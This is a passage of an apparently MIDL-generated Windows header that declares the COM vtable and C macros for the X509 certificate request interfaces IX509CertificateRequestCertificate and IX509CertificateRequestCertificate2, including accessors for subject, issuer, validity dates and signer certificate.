\n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestCertificate * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestCertificate * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKey )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKey )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckSignature )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *IsSmartCard )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateObjectId )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PublicKey )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PrivateKey )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReuseKey )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OldCertificate )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Subject )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Subject )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspStatuses )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CryptAttributes )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressOids )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawDataToBeSigned )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Signature )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCspStatuses )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ X509KeySpec KeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppCspStatuses);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckPublicKeySignature )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Issuer )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Issuer )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NotBefore )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out DATE *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_NotBefore )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ DATE Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NotAfter )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__out DATE *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_NotAfter )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ DATE Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SerialNumber )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SerialNumber )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCertificate * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        END_INTERFACE\n    } IX509CertificateRequestCertificateVtbl;\n\n    interface IX509CertificateRequestCertificate\n    {\n        CONST_VTBL struct IX509CertificateRequestCertificateVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestCertificate_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestCertificate_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestCertificate_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestCertificate_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestCertificate_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestCertificate_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestCertificate_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestCertificate_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestCertificate_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestCertificate_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestCertificate_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCertificate_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestCertificate_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestCertificate_InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName) ) \n\n#define IX509CertificateRequestCertificate_InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName) ) \n\n#define IX509CertificateRequestCertificate_InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestCertificate_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestCertificate_CheckSignature(This,AllowedSignatureTypes)\t\\\n    ( (This)->lpVtbl -> CheckSignature(This,AllowedSignatureTypes) ) \n\n#define IX509CertificateRequestCertificate_IsSmartCard(This,pValue)\t\\\n    ( (This)->lpVtbl -> IsSmartCard(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_TemplateObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateObjectId(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_PublicKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PublicKey(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_PrivateKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PrivateKey(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_ReuseKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ReuseKey(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_OldCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_OldCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_Subject(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Subject(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_put_Subject(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Subject(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_CspStatuses(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspStatuses(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_SmimeCapabilities(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SmimeCapabilities(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_SmimeCapabilities(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SmimeCapabilities(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_KeyContainerNamePrefix(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyContainerNamePrefix(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_KeyContainerNamePrefix(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyContainerNamePrefix(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_CryptAttributes(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CryptAttributes(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_SuppressOids(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressOids(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_get_RawDataToBeSigned(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawDataToBeSigned(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_Signature(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Signature(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate_GetCspStatuses(This,KeySpec,ppCspStatuses)\t\\\n    ( (This)->lpVtbl -> GetCspStatuses(This,KeySpec,ppCspStatuses) ) \n\n\n#define IX509CertificateRequestCertificate_CheckPublicKeySignature(This,pPublicKey)\t\\\n    ( (This)->lpVtbl -> CheckPublicKeySignature(This,pPublicKey) ) \n\n#define IX509CertificateRequestCertificate_get_Issuer(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Issuer(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_put_Issuer(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Issuer(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_get_NotBefore(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NotBefore(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_NotBefore(This,Value)\t\\\n    ( (This)->lpVtbl -> put_NotBefore(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_NotAfter(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NotAfter(This,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_NotAfter(This,Value)\t\\\n    ( (This)->lpVtbl -> put_NotAfter(This,Value) ) \n\n#define IX509CertificateRequestCertificate_get_SerialNumber(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_SerialNumber(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate_put_SerialNumber(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_SerialNumber(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCertificate_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestCertificate_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCertificate2_INTERFACE_DEFINED__\n#define __IX509CertificateRequestCertificate2_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestCertificate2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestCertificate2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab35a-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestCertificate2 : public IX509CertificateRequestCertificate\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplate( \n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromPrivateKeyTemplate( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PolicyServer( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Template( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestCertificate2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestCertificate2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestCertificate2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestCertificate2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestCertificate2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( 